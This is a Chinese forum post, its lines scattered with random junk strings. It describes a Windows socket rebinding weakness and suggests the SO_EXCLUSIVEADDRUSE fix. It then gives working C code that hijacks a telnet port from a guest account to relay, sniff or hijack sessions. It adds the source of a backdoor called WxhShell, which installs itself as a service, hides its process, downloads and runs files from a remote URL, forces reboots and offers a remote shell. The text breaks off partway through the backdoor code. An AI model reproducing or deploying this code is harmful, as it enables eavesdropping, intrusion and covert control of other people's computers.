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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ls9Y?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5{1=BZftZ  
\k=%G_W  
  saddr.sin_family = AF_INET; KY%qzq,n  
]S9Z5l0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :-hVbS0I  
S-Vxlku]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =c&.I}^1L  
FdEUZ[IT`{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %Q]thv:  
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  这意味着什么?意味着可以进行如下的攻击: 2dJE` XL  
Rx&.,gzj[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LXrk5>9  
HP<a'|r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KX cRm)  
OuWRLcJ!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k_?OEkgUh  
|lzcyz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a[}?!G-Wt|  
+`B^D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !a!4^zqp  
{dE(.Z?]!#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PGYx] r  
pTTM(Hrx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Rm$(X5x>o  
>nvK{6xR:  
  #include JHZjf7g$k  
  #include Sz1J4$5  
  #include q?]KZ_a  
  #include    .V_5q:tu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z:x`][vg  
  int main() b~YIaD[Z  
  { U-,s/VQ?  
  WORD wVersionRequested; toOdL0hCe  
  DWORD ret; hV) `e"r\s  
  WSADATA wsaData; N;>s|ET  
  BOOL val; " L,9.b  
  SOCKADDR_IN saddr; q%vel.L]%  
  SOCKADDR_IN scaddr; }K,3SO(:  
  int err; {36N=A  
  SOCKET s; {:n1|_r4Z  
  SOCKET sc; seP h%Sa_  
  int caddsize; 1Id"|/b%$  
  HANDLE mt; @"^7ASd%  
  DWORD tid;   JdWav!PYm  
  wVersionRequested = MAKEWORD( 2, 2 ); {'{9B  
  err = WSAStartup( wVersionRequested, &wsaData ); wHx_lsY;   
  if ( err != 0 ) { 9 p^gF2?k  
  printf("error!WSAStartup failed!\n"); ZIh)D[n  
  return -1; cdSgb3B0  
  } >+!Ef  
  saddr.sin_family = AF_INET; EaL>~: j  
   /Q:mUd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mWn0"1C  
plJUQk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4mX?PKvbn  
  saddr.sin_port = htons(23); I};*O6D`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QJjk#*?,|  
  { TK~KM  
  printf("error!socket failed!\n"); @" umY-1f  
  return -1; ,69547#o  
  } _nX8f &  
  val = TRUE; EUV8H}d5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 itc\wn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %S$$*|_G  
  { 44YKS>Cq  
  printf("error!setsockopt failed!\n"); #ZnNJ\6  
  return -1; 7i#/eRui  
  } GWWaH+F[h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2vsV :LS.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /?z3*x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9v 8^uPA  
=1 S%E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Wa&!1' @  
  { ub`zS-vb  
  ret=GetLastError(); Jm< uE]9  
  printf("error!bind failed!\n"); jPZpJ:  
  return -1; b8vZ^8tBV  
  } 7~k=t!gTY  
  listen(s,2); t&EY$'c  
  while(1) N qz6_!  
  { 0bIgOLP  
  caddsize = sizeof(scaddr); n:k4t  
  //接受连接请求 Unb3 Gv#O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rQU6*f  
  if(sc!=INVALID_SOCKET) z%lJWvaA7  
  { 2\T\p<_20  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `QW=<Le?  
  if(mt==NULL) 5nsoWqnE8  
  { >&7^yXS  
  printf("Thread Creat Failed!\n"); ?`O^;f  
  break; ]T2Nr[vu  
  } 'ShK7j$  
  } \ a(ce?C  
  CloseHandle(mt); j4]3}t0q  
  } ;G3?Sa7+  
  closesocket(s); n}(A4^=4KQ  
  WSACleanup(); YV@efPy}n  
  return 0; *0Fz." v  
  }   R-1MD  
  DWORD WINAPI ClientThread(LPVOID lpParam) mF jM6pmo  
  { AS;qJ)JfzQ  
  SOCKET ss = (SOCKET)lpParam; |')PQ  
  SOCKET sc; ha 2=O  
  unsigned char buf[4096]; %:;g|PC  
  SOCKADDR_IN saddr; P*VZ$bUe5@  
  long num; zZ<*  
  DWORD val; ~vM99hW  
  DWORD ret; }@tgc?C D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jh`[ Y7RJO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2' ^7G@%  
  saddr.sin_family = AF_INET; ?.H]Y&XF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d2-oy5cEB  
  saddr.sin_port = htons(23); lmL$0{Yr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W}MN-0  
  { ?A*!rW:l;  
  printf("error!socket failed!\n"); G'(rjH>q  
  return -1; ,w BfGpVb  
  } Zzz94`  
  val = 100; <1<xSr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6DgdS5GhT_  
  { oVPr`]  
  ret = GetLastError(); 4neO$^i8J  
  return -1; Ek6 g?rj_  
  } c/v|e&q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o; U!{G(X  
  { N3@[95  
  ret = GetLastError(); g-"GZi  
  return -1; c$tX3ug6I  
  } :XG~AR /  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %2g<zdab  
  { 1<_/Qu>V  
  printf("error!socket connect failed!\n"); > TBXT+  
  closesocket(sc); %%>nM'4<  
  closesocket(ss); $AE5n>ZD$  
  return -1; b(Tvc  
  } (j??  
  while(1) +8itP>  
  { FU>KiBV#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -)}Z $;1a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `.3@Ki~$#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /7:+.#Ag`  
  num = recv(ss,buf,4096,0); fmc\Li  
  if(num>0) 5s`r&2 w  
  send(sc,buf,num,0); )7o? }"I  
  else if(num==0) h,]VWG  
  break;  [)~1Lu  
  num = recv(sc,buf,4096,0); v}d)uPl} ;  
  if(num>0) N fG9a~  
  send(ss,buf,num,0); +`g&hO\W  
  else if(num==0) TB+k[UxB  
  break; k,k>w#&  
  } P R3Arfle  
  closesocket(ss); 1# z@D(  
  closesocket(sc); @|Yn~PwKs  
  return 0 ; $j<KXR  
  } voN~f>  
LyWY\K a  
*pv<ZF0>  
========================================================== q^Oj/ws  
dIYf}7P  
下边附上一个代码,,WXhSHELL ov;^ev,(  
+jF2 {"  
========================================================== q#8yU\J|,  
Ro"'f7(v.  
#include "stdafx.h" PoPR34] ^J  
jlU6keZh`  
#include <stdio.h> vB{i w}Hi!  
#include <string.h> OWT%XUW=  
#include <windows.h> q` IY;"~  
#include <winsock2.h> C c: <F_UI  
#include <winsvc.h> Sp:w _;{#  
#include <urlmon.h> uW=G1 *n-  
]77f`<q<}!  
#pragma comment (lib, "Ws2_32.lib") rqqd} kA  
#pragma comment (lib, "urlmon.lib") &0-oi Y  
JcmJq fR  
#define MAX_USER   100 // 最大客户端连接数 'Kbrz  
#define BUF_SOCK   200 // sock buffer wL="p) TO.  
#define KEY_BUFF   255 // 输入 buffer t&J A1|q  
seBmhe5qR  
#define REBOOT     0   // 重启 >Bf3X&uS  
#define SHUTDOWN   1   // 关机 2%`= LGQC  
G:tY1'5  
#define DEF_PORT   5000 // 监听端口 4_ U"M@  
dgoAaS2M  
#define REG_LEN     16   // 注册表键长度 OoH-E.lp  
#define SVC_LEN     80   // NT服务名长度 sVw:d _ E  
!3Pmjip  
// 从dll定义API -9,~b9$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WGUw`sc\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $6pLsX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /]!2 k9u\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  R#^ku)0  
TEd 5&Z  
// wxhshell配置信息 EGQgrwY5  
struct WSCFG { /r"<:+  
  int ws_port;         // 监听端口 Hcu!bOQ  
  char ws_passstr[REG_LEN]; // 口令 d8w3Oz54  
  int ws_autoins;       // 安装标记, 1=yes 0=no prz COw  
  char ws_regname[REG_LEN]; // 注册表键名 :ZIa   
  char ws_svcname[REG_LEN]; // 服务名 pa+'0Y]71  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -kMw[Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1*dN. v:5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c:7F 2+p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2*z~ 'i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uMZ~[S z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <%S)6cw(3  
3J &R os  
}; fPUr O  
VYkh@j  
// default Wxhshell configuration Z,E$4Z  
struct WSCFG wscfg={DEF_PORT, C:5- h(#  
    "xuhuanlingzhe", Fw\Z[nh  
    1, ckA\{v  
    "Wxhshell", iKJqMES  
    "Wxhshell", rVNx 2  
            "WxhShell Service", b2UDPW  
    "Wrsky Windows CmdShell Service", YxJQ^D`  
    "Please Input Your Password: ", 9AX}V6\+  
  1, 8lYA6A  
  "http://www.wrsky.com/wxhshell.exe", wPjq B{!Q  
  "Wxhshell.exe" DMG~56cTO,  
    }; /ta}12Z  
A%W]XEa<  
// 消息定义模块 )PP yJ@M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :QGo -,6-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K%\r[NF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W?.469yy  
char *msg_ws_ext="\n\rExit."; h' !C  
char *msg_ws_end="\n\rQuit."; ?0qD(cfx<  
char *msg_ws_boot="\n\rReboot..."; pS ](Emn`.  
char *msg_ws_poff="\n\rShutdown..."; :)lG}c  
char *msg_ws_down="\n\rSave to "; |di(hY|  
'QT~o-U  
char *msg_ws_err="\n\rErr!"; ?`Yu~a{  
char *msg_ws_ok="\n\rOK!"; 018SFle  
lTMY|{9  
char ExeFile[MAX_PATH]; s"`~Xnf  
int nUser = 0; Bc"MOSV0  
HANDLE handles[MAX_USER]; j}ob7O&U'w  
int OsIsNt; g&xj(SMj-$  
U+x^!{[/  
SERVICE_STATUS       serviceStatus; G^k'sgy.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4@{c K|  
Gc`PO  
// 函数声明 vu*e*b$}  
int Install(void); u_^mN9h  
int Uninstall(void); /f1]U LmC:  
int DownloadFile(char *sURL, SOCKET wsh); t[`LG)  
int Boot(int flag); ]|CcQ1#|H  
void HideProc(void); (-WRZLOQ  
int GetOsVer(void); #Q!Xz2z2  
int Wxhshell(SOCKET wsl); m:h6J''<Z*  
void TalkWithClient(void *cs); N5*Q nb8  
int CmdShell(SOCKET sock); 4tCM 2it%  
int StartFromService(void); Vr},+Rj  
int StartWxhshell(LPSTR lpCmdLine); I*N"_uKU  
!Sn|!:N4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T9V=#+8#"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bn]=T  
E_=F' sP?  
// 数据结构和表定义 $97O7j@  
SERVICE_TABLE_ENTRY DispatchTable[] = /8e}c`  
{ cRf F!EV  
{wscfg.ws_svcname, NTServiceMain}, X~jdOaq{F:  
{NULL, NULL}  c`xNTr01  
}; G"?7 Z&+  
*eoH"UFYQ#  
// 自我安装 d/9YtG%q  
int Install(void) m&gd<rt/  
{ 3l<qcKKc  
  char svExeFile[MAX_PATH]; ?\8aT"o  
  HKEY key; kaCN^yQ  
  strcpy(svExeFile,ExeFile); Ge`7`D>L  
jl P*RX  
// 如果是win9x系统,修改注册表设为自启动 Sh!c]r>\Q  
if(!OsIsNt) { L4Jm8sy{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jcqUY+T$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M]PZwW8  
  RegCloseKey(key); @~$d4K y<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >}*W$i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :o8`2Z*g  
  RegCloseKey(key);  nz?[  
  return 0; xJ$uoy3+  
    } #S?^?3d  
  } %8n<#0v-|4  
} u*@R`,Y   
else { ! :]_-DX  
#$BFTlm|  
// 如果是NT以上系统,安装为系统服务 }eVDe(7_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3tf_\E+mIi  
if (schSCManager!=0) ^!S4?<v  
{ ,pD sU@  
  SC_HANDLE schService = CreateService `'s_5Ek  
  ( DYf2V6'  
  schSCManager, >;4q  
  wscfg.ws_svcname, .5Y{Yme  
  wscfg.ws_svcdisp, &Gh,ROo4  
  SERVICE_ALL_ACCESS, {%3WHGr%L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *:H,-@  
  SERVICE_AUTO_START, jz<}9Kze  
  SERVICE_ERROR_NORMAL, .rk5u4yK  
  svExeFile, s-rc0:I  
  NULL, }oZ8esZU2  
  NULL, AF#: *<Ev  
  NULL, ysOf=~ 1  
  NULL, [nxYfER7  
  NULL ~JT2el2W7p  
  ); 8~O#@hB~3  
  if (schService!=0) I]eeV+U8W  
  { x >ah,  
  CloseServiceHandle(schService); .F7?}8>Z  
  CloseServiceHandle(schSCManager); %J1'>nI!q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @LI;q  
  strcat(svExeFile,wscfg.ws_svcname); m[=SCH-;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W\>O$IX^e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5L c@=,/0  
  RegCloseKey(key); H"/ J R  
  return 0; aaU4Jl?L  
    } N%f"W&ci  
  } #-YbZ  
  CloseServiceHandle(schSCManager); o?}dHTk7  
} t, %m-dU  
} c-hc.i}!  
"^z%|uXkf  
return 1; 8)8~c@  
} ` 1+*-g^r  
sX6\AYF1M  
// 自我卸载 "m^gCN}c  
int Uninstall(void) TI3xt-/  
{ 9mHCms  
  HKEY key; }T.>p#z  
,5zY1C==Ut  
if(!OsIsNt) { H'3 pHb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9c]$d  
  RegDeleteValue(key,wscfg.ws_regname); CfW#Wk:8J  
  RegCloseKey(key); %6(\Ki6I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G)~>d/  
  RegDeleteValue(key,wscfg.ws_regname); fwt+$`n  
  RegCloseKey(key); Ru`afjc  
  return 0; Z]Xa:[  
  } 8US35t:M  
} Gs"lmX-{$j  
} FMCA~N  
else { W2XWb<QSEV  
:a Cf@:']  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9K}DmS  
if (schSCManager!=0) 2#$7!`6 K  
{ ,9G'1%z,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xytWE:=  
  if (schService!=0) H9jlp.F  
  { {G=>WAXo  
  if(DeleteService(schService)!=0) { 'KmM %tN  
  CloseServiceHandle(schService); 7|=SZ+g  
  CloseServiceHandle(schSCManager); fV4eGIR&  
  return 0; P\ P=1NM  
  } C4E}.``Hm  
  CloseServiceHandle(schService); sB:e:PK  
  } 4;~xRg;u&*  
  CloseServiceHandle(schSCManager); ww %c+O/  
} DOtz  
} +>1Yp">?  
o]p$ w[5  
return 1; LT{g^g  
} X_-/j.  
IrRy1][Qr  
// 从指定url下载文件 @}UOm- M  
int DownloadFile(char *sURL, SOCKET wsh) O~8jz  
{ >1Iw!SO+  
  HRESULT hr; ,hNs{-*  
char seps[]= "/"; dj084q7  
char *token; H)TKk%`7  
char *file; "=]'"'B:  
char myURL[MAX_PATH]; 0KExB{K  
char myFILE[MAX_PATH]; % }b  
vB7]L9=@"  
strcpy(myURL,sURL); }c8et'HYf  
  token=strtok(myURL,seps); %mlH  
  while(token!=NULL) |(x%J[n0+  
  { 7h/Mkim$5  
    file=token; w,6gnO  
  token=strtok(NULL,seps); Zu#^a|PE*  
  } 68~]_r.a  
xPF.c,6b4=  
GetCurrentDirectory(MAX_PATH,myFILE); q\P{h ij  
strcat(myFILE, "\\"); ~]%re9jGW  
strcat(myFILE, file); :p<:0W2!  
  send(wsh,myFILE,strlen(myFILE),0); }}Q h_(  
send(wsh,"...",3,0); l-IA Q!d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kk.\P|k2  
  if(hr==S_OK) }nM+"(}  
return 0; q=cnY+p>  
else toG- Dz&  
return 1; j5hQ;~Fa|  
IwXQbJ3v_  
} )q!dMZ(  
r^s$U,e#~  
// 系统电源模块 4nd)*0{ f  
int Boot(int flag) )MN6\v  
{ ~E DO< O>3  
  HANDLE hToken; `aMnTF5:  
  TOKEN_PRIVILEGES tkp; 9@ h-q(-  
V?MaI .gj  
  if(OsIsNt) { +A 6kw%"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "5,Cy3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :gkn`z  
    tkp.PrivilegeCount = 1; o 8^!wGY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4. %/u@rAi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z2.OR,R}]  
if(flag==REBOOT) { V-%jSe<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jRk1Iu|7  
  return 0; :d<F7`k H  
} .Pe^u%J6F  
else { <ihJp^kgQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !M6Km(>  
  return 0; a$11u.\q+  
} /ubGa6N  
  } g{?{N  
  else { d m83YCdL  
if(flag==REBOOT) { pR:cnkVF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A{eh$Ot%  
  return 0; Ip,0C8T`Q  
} >y@3`u]  
else { DQ6pe)E|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }WNgKw  
  return 0; 7&dPrnQX=  
} / vzwokH  
} o[G,~f\-  
!\Q/~p'jS  
return 1; 8{.:$T  
} @rW%*?$7  
y?s#pSX;N  
// win9x进程隐藏模块 mhnK{M @56  
void HideProc(void) :e4[isI  
{ ps]s Tw  
pc_$,RkN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /#4BUfY f  
  if ( hKernel != NULL ) WB|SXto%4D  
  { #w]:<R^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gl6*bB=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u/ 74E0$S  
    FreeLibrary(hKernel); 8!dA1]2;  
  }  N5GQ2V  
P^ bcc  
return; T EqCoeR  
} x42m+5/  
cd*F;h  
// 获取操作系统版本 RiAY>:  
int GetOsVer(void) y>m=A41:g  
{ R<-(  
  OSVERSIONINFO winfo; ~C],?X(zk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `_&7-;)i*\  
  GetVersionEx(&winfo); s@bo df&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t[cZ|+^]  
  return 1; fNaS?tV)  
  else (%EhkTb  
  return 0; gnSb)!i>z  
} /7<l`RSr  
H23-%+*J  
// 客户端句柄模块 }M9L,O*^   
int Wxhshell(SOCKET wsl) t@EHhiBz  
{ s4c2  
  SOCKET wsh; j_*#"}Lcp  
  struct sockaddr_in client; U_c.Z{lC4  
  DWORD myID; A#j'JA>_  
!j?2HlIK+  
  while(nUser<MAX_USER) LHz-/0 [  
{ sP5\R#  
  int nSize=sizeof(client); [SJ*ks,]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >*%mJX/F  
  if(wsh==INVALID_SOCKET) return 1; m[FH>  
`8%2F}x}qD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f?1?$Sp/W  
if(handles[nUser]==0) ^SKuX?f\  
  closesocket(wsh); >;.'$-  
else iWZrZ5l  
  nUser++; R1X{=ct  
  } D f H>UA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }?=$?3W  
Gt^Fj&^  
  return 0; 'e;]\< 0z  
} 'Bp7LtG92  
b*xw=G3%  
// 关闭 socket @exeHcW61  
void CloseIt(SOCKET wsh) ch}t++`l]  
{ WBgS9qiB  
closesocket(wsh); kw>W5tNpf:  
nUser--; 2WRa@;Tj  
ExitThread(0); 3U0>Y%m|,  
} ;{79d8/=  
i[_WO2  
// 客户端请求句柄 WCc,RI0   
void TalkWithClient(void *cs) a'zf8id  
{ fG107{!g=  
I65W^b4y  
  SOCKET wsh=(SOCKET)cs; Ccld;c&+  
  char pwd[SVC_LEN]; 0wCJNXm  
  char cmd[KEY_BUFF]; dMw0Aw,2]8  
char chr[1]; qcSlY&6+  
int i,j; gwj+~vSfi  
_s/ 5oRHA  
  while (nUser < MAX_USER) { 9gFema{U  
E({W`b~_f  
if(wscfg.ws_passstr) { J|-X?V;ZW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "&s9;_9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?8AchbK; N  
  //ZeroMemory(pwd,KEY_BUFF); S: IhJQ4K  
      i=0; n 7Mab  
  while(i<SVC_LEN) { 7{%_6b"  
1&JPyW  
  // 设置超时 hSQuML   
  fd_set FdRead; .tv'`  
  struct timeval TimeOut; tA2Py  
  FD_ZERO(&FdRead); ;x/do?FbT  
  FD_SET(wsh,&FdRead); 04`2MNfxG  
  TimeOut.tv_sec=8; =]k0*\PS  
  TimeOut.tv_usec=0; ]W^F!p~eC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c]SXcA;Pmv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TUw+A6u:p  
f;AQw_{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Mi`]VSq9  
  pwd=chr[0]; SvZ~xTit  
  if(chr[0]==0xd || chr[0]==0xa) { >yr:L{{D}G  
  pwd=0; 6'YT3=  
  break; vS#Y,H:yAj  
  } cEI "  
  i++; {k CCpU  
    } 1:!_AU?  
F|+Qi BO  
  // 如果是非法用户,关闭 socket _ebo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B bU%p  
} S$~T8_m^U  
YfRjr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +rAmy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L|B/'  
~ _ ogeD  
while(1) { 52X[ {  
t zn1|  
  ZeroMemory(cmd,KEY_BUFF); j<"@ Y7  
Z^tTR]u\$  
      // 自动支持客户端 telnet标准   O52B  
  j=0; b |SDg%e  
  while(j<KEY_BUFF) { ltQo_k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p **Sd[|  
  cmd[j]=chr[0]; l k~VvRq  
  if(chr[0]==0xa || chr[0]==0xd) { |7Dc7p"D  
  cmd[j]=0; dC'8orFG+  
  break; !4.VK-a9V%  
  } 77 g<`}{  
  j++; d- X6yRjnj  
    } _HMQx_e0YM  
5#275Hyv  
  // 下载文件 rY?]pMp  
  if(strstr(cmd,"http://")) { ;H' ,PjU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0r_3:#Nn  
  if(DownloadFile(cmd,wsh)) 53X i)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lm-f0\(  
  else d/"%fpp^0G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nYsB^Nr6  
  } uSsP'qd  
  else { @23?II$=@  
%LM2CgH V  
    switch(cmd[0]) { b6%[?k  
  tDC?St1  
  // 帮助 }H Ct=W`  
  case '?': { dDg[ry  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m~I@ q [  
    break; 7|@FN7]5NF  
  } :Bh7mF-1  
  // 安装  *KV^ X(/  
  case 'i': { ?]%ZJd  
    if(Install()) E8/Pi>QW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r@t \a+  
    else d53Eu`QW?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {^@vCBE+  
    break; %zKTrsMZ  
    } n-he|u  
  // 卸载 \b;z$P\+*  
  case 'r': { {EjzJr>  
    if(Uninstall()) Qef5eih  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  .: Zw6  
    else ,.HS )<B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pzT,fmfk  
    break; :@b=;  
    } 0 wjL=]X1e  
  // 显示 wxhshell 所在路径 *snY|hF  
  case 'p': { z8dBfA<z  
    char svExeFile[MAX_PATH]; :bq$ {  
    strcpy(svExeFile,"\n\r"); X Z=%XB:?  
      strcat(svExeFile,ExeFile); M?00n< vM  
        send(wsh,svExeFile,strlen(svExeFile),0); I]z4}#+cX  
    break; hg7_ZjO  
    } oe*fgk/o9  
  // 重启 >~l^E!<i-u  
  case 'b': { #[&9~za'"m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gXj3=N(l  
    if(Boot(REBOOT)) j.yh>"de  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /s~BE ,su  
    else { 6/.kL;AI  
    closesocket(wsh); 0}` 0!Kv  
    ExitThread(0); WR9-HPF  
    } }vb.>hy  
    break; z%;_h-  
    } lMmP]{.>$  
  // 关机 1j]vJ4R_\  
  case 'd': { rMoz+{1A  
